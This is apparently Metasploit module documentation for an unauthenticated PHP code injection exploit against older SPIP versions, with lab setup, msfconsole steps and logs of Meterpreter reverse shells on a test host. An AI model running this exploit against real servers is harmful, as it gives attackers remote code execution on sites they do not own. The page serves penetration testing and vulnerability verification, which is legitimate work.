## Vulnerable Application

This module exploits a PHP code injection vulnerability in SPIP.
The vulnerability exists in the `connect` parameter, allowing an unauthenticated
user to execute arbitrary commands with web user privileges.
Branches 2.0, 2.1, and 3 are affected.
Vulnerable versions are < 2.0.21, < 2.1.16, and < 3.0.3.
This module is compatible with both Unix/Linux and Windows platforms, and has been successfully tested on SPIP 2.0.11 and SPIP 2.0.20
on Apache running on Ubuntu, Fedora, and Windows Server.

## Setup

On Ubuntu 20.04, download a vulnerable instance of SPIP:

```
wget https://files.spip.net/spip/archives/SPIP-v2-0-0.zip
```

Unzip it to a specific folder:

```
mkdir spip-site 
cp SPIP-v2-0-0.zip spip-site/ 
cd spip-site/ 
unzip SPIP-v2-0-0.zip
```

Install PHP 5.6 and the necessary extensions:

1. Add the PPA for PHP 5.6:

```
sudo add-apt-repository ppa:ondrej/php
sudo apt-get update
```

2. Install PHP 5.6 with SQLite extensions:

```
sudo apt-get install php5.6 php5.6-sqlite php5.6-sqlite3
```

3. Enable the required extensions in the PHP configuration file:

Open the PHP INI file for CLI:

```
sudo nano /etc/php/5.6/cli/php.ini
```

Add or uncomment the following lines:

```
extension=sqlite3.so
extension=pdo_sqlite.so
```

Serve the application (while in the newly created spip-site directory):

```
php5.6 -S 127.0.0.1:8000
```

Navigate to the following URL, select `sqlite` for the database, and complete the installation:

```
http://127.0.0.1:8000/ecrire/
```

## Verification Steps

1. Start msfconsole
2. Do: `use exploit/multi/http/spip_connect_exec`
3. Do: `set RHOSTS [IP]`
4. Do: `set LHOST [IP]`
5. Do: `exploit`

## Options

No options

## Targets

### 0 (PHP In-Memory)

This uses an in-memory PHP payload to execute code.

### 1 (Unix/Linux Command Shell)

This executes a Unix or Linux command.

### 2 (Windows Command Shell)

This executes a Windows command.

## Scenarios

### SPIP 2.0.0 - Linux target - PHP In-Memory

```
msf exploit(multi/http/spip_connect_exec) > run http://192.168.1.36:8000/

[*] Started reverse TCP handler on 192.168.1.36:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] SPIP Version detected: 2.0.0
[+] The target appears to be vulnerable.
[*] 192.168.1.36:8000 - Attempting to exploit...
[*] Sending stage (39927 bytes) to 192.168.1.36
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 192.168.1.36:47020) at 2024-08-22 19:19:00 +0200

meterpreter > sysinfo 
Computer    : linux
OS          : Linux linux 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
Meterpreter : php/linux
meterpreter > 
```

### SPIP 2.0.0 - Unix/Linux Command Shell

```
msf exploit(multi/http/spip_connect_exec) > run http://192.168.1.36:8000/

[*] Started reverse TCP handler on 192.168.1.36:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] SPIP Version detected: 2.0.0
[+] The target appears to be vulnerable.
[*] 192.168.1.36:8000 - Attempting to exploit...
[*] Sending stage (3045380 bytes) to 192.168.1.36
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 192.168.1.36:32794) at 2024-08-22 19:20:41 +0200

meterpreter > sysinfo 
Computer     : 192.168.1.36
OS           : LinuxMint 21.3 (Linux 5.15.0-113-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```

### SPIP 2.0.0 - Windows Command Shell

```
Somehow, I was unable to obtain a remote code execution (RCE) on my lab environment using the Windows Command Shell target. 
However, based on the exploit's design and its success on other platforms, it is expected to work. 
The issue might be specific to my lab setup.
```
